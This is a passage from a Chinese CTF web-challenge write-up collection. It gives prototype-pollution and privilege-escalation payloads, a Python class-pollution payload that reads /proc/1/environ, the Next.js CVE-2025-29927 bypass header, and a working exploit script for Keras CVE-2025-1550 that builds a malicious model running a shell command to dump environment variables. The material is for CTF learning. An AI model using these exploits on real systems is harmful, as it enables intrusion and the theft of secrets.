接下来,代码使用Math.max函数将timestampminTimestamp比较,并返回较大的值。timestamp是另一个变量,表示某个数据的时间戳。通过执行这个比较操作,可以确保timestamp的值不早于minTimestamp,也就是不早于movie的最小公开时间

1
2
3
4
5
6
7
{  
"contact": "test",
"reason": "test",
"__proto__": {
"min_public_time": "1001-01-01"
}
}

[LitCTF 2025]多重宇宙日记 | NSSCTF

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<script>
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});

// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}
</script>

提示键值在setting下,又需要管理员权限,所以payload:

1
{"settings": {"isAdmin": true}}

[BUUCTF在线评测](https://buuoj.cn/challenges#[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask) EzFlask

开头直接给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

看到这一段:

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

很明显的python的原型链污染

payload:

1
{"username":"123","password":"123","\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{"__globals__":{"__file__":"../../../proc/1/environ"}}}

(其中__init__用unicode编码了一下,其实你也可以将其他的也编码)

在注册页面污染后,GET访问首页就可以了


CVE说是

LitCTF 2025]nest_js | NSSCTF

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现 - CVE-柠檬i - 博客园

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

D^3 CTF 2025 d3model

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
try:
keras.models.load_model(modelname)
except:
return False
return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400

file = request.files['file']

if file.filename == '':
return jsonify({'error': 'No selected file'}), 400

MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
file.seek(0, os.SEEK_END)
file_size = file.tell()
file.seek(0)

if file_size > MAX_FILE_SIZE:
return jsonify({'error': 'File size exceeds 50MB limit'}), 400

filepath = os.path.join('./', 'test.keras')
if os.path.exists(filepath):
os.remove(filepath)
file.save(filepath)

if is_valid_model(filepath):
return jsonify({'message': 'Model is valid'}), 200
else:
return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

requirements告诉我们keras==3.8.0,查了一下发现存在CVE漏洞。

cve-2025-1550,可以参考如下文章复现:

https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

这里直接给出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
import os

model_name = "model.keras"

x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args": [["bash", "-c", "env > index.html"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")

直接刷新index.html即可

攻防世界 CAT

Django 教程 | 菜鸟教程

攻防世界 | CAT - 东坡肉肉君 - 博客园

尾声

看完全部内容之后,然后可能发现还是不会做题或者遇到一些根本没见过的,这就体现了Web特色了,直接上网搜然后现场做需求,对于很多题目来说就是这样的

而且很多也不是直白的考你某个知识点,很多题目会把一大堆的知识点揉到一起,需要你自己找出来是什么漏洞,或者是自己想需要做什么

然后可以多看看最新的CVE,有些题目会直接出这样一个漏洞然后你网上可能找到个POC就可以跟着做了

代码审计能力很重要,特别是对于各种调用关系,即调用链要分析清楚,这对于做给陌生库的题目来说是很重要的

记得也学学Golang、Java、JavaScript和Rust